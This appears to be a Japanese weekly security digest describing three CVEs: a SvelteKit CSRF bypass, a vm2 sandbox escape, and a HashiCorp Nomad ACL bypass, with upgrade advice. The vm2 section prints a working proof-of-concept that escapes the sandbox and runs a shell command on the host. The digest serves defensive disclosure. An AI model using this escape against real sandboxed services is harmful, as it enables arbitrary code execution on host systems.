今週のダイジェストでは、以下の内容をご紹介します。
- SvelteKitのCSRF保護バイパス;
- vm2版ではサンドボックスの脱出、そして
- HashiCorp Nomad および Nomad Enterprise において、認証されていない ACL 認証がバイパスされ、特権の昇格が発生する可能性があります。
cve-2023-29003です:SvelteKit:Content-Type ヘッダを使用した CSRF 保護のバイパス機能
背景
SvelteKitは 、Svelte JavaScriptライブラリを使用したWebアプリケーションを構築するためのフレームワークです。サーバーサイドレンダリング、ルーティング、ファイルベースのページルーティングなどの機能をすぐに使えるようにすることで、合理的な開発体験を提供します。
ヴァルネラビリティ
この脆弱性(CVE-2023-29003)は、Cross-Site Request Forgery(CSRF)保護が不十分なため、SvelteKit 1.15.1以下のバージョンに影響します。SvelteKit 1.15.1以前では、3つの条件を満たした場合にCSRF保護が実行されました:(1) リクエストがPOSTである、(2) サイトのオリジンとリクエストのオリジンHTTPヘッダーの間に不一致がある、(3) リクエストがフォームコンテンツを含んでいるか、Content-Typeヘッダーの値が "application/x-www-form-urlencoded" または "multipart/form-data" であることが示されていた。
これらの条件がすべて満たされた場合、リクエストに対する403 Forbiddenレスポンスが送信されます。このチェックは、リクエストに "text/plain" のような別の Content-Type を使用することで回避することができます。
ミティゲーション
- この脆弱性は、SvelteKitバージョン1.15.1で対処されています。この問題を解決するためには、最新バージョンへのアップグレードが推奨されます。
CVE-2023-29199: vm2:ソースコードトランスフォーマーにおけるサンドボックスエスケープについて
背景
vm2 はNode.js モジュールで、信頼できないコードを安全に実行するためのサンドボックス環境を提供します。攻撃者がグローバルコンテキストや機密データにアクセスすることなく、信頼できないコードを実行できる孤立した実行コンテキストを作成することができます。
ヴァルネラビリティ
この脆弱性は、vm2のソースコード変換器のサニタイジングロジックに存在する例外に依存しています。この脆弱性により、攻撃者はhandleException()関数をバイパスし、サニタイズされていないホスト例外をリークすることができ、攻撃者がサンドボックスを抜け出し、ホストコンテキストで任意のコードを実行することができるようになります。
GitHubユーザーのleesh3288は、この脆弱性を悪用する概念実証を行い、ホストコンテキストでいかに簡単にコードを実行できるかを示しました:
const {VM} = require("vm2");
const vm = new VM();
const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname
.constructor
.constructor('return process')()
.mainModule.require('child_process')
.execSync('touch pwned');
}
`
console.log(vm.run(code));
ミティゲーション
- vm2バージョン3.9.16でこの脆弱性に対処しました。この問題を解決するためには、最新バージョンへのアップグレードを推奨します。
CVE-2023-1782: HashiCorp Nomad: 認証されていない ACL バイパスによる特権のエスカレーション
背景
HashiCorp Nomadは 、データセンター、クラウド、エッジロケーションなど、さまざまな環境においてアプリケーションを容易に展開・管理できるコンテナオーケストレーションプラットフォームです。自動デプロイ、スケーリング、セルフヒーリングなどの機能を提供し、複数のコンテナランタイムやスケジューリングアルゴリズムにも対応しています。
ヴァルネラビリティ
この脆弱性については、あまり具体的なことは分かっていません。しかし、研究者の報告によると、認証されていないHTTPリクエストは、内部RPCを通じてサーバー上でリクエストが処理されるたびに、意図したACL認証をバイパスすることができます。この脆弱性は、HashiCorp NomadおよびHashiCorp Nomad Enterpriseのバージョン1.5.0から1.5.2までが対象です。
ミティゲーション
- この脆弱性は、そのホストクラスタでmTLSを有効にすることで改善することができます。
- この脆弱性は、HashiCorp Nomad バージョン 1.5.3 で対処されています。この問題を解決するためには、最新バージョンへのアップグレードが推奨されます。
コメント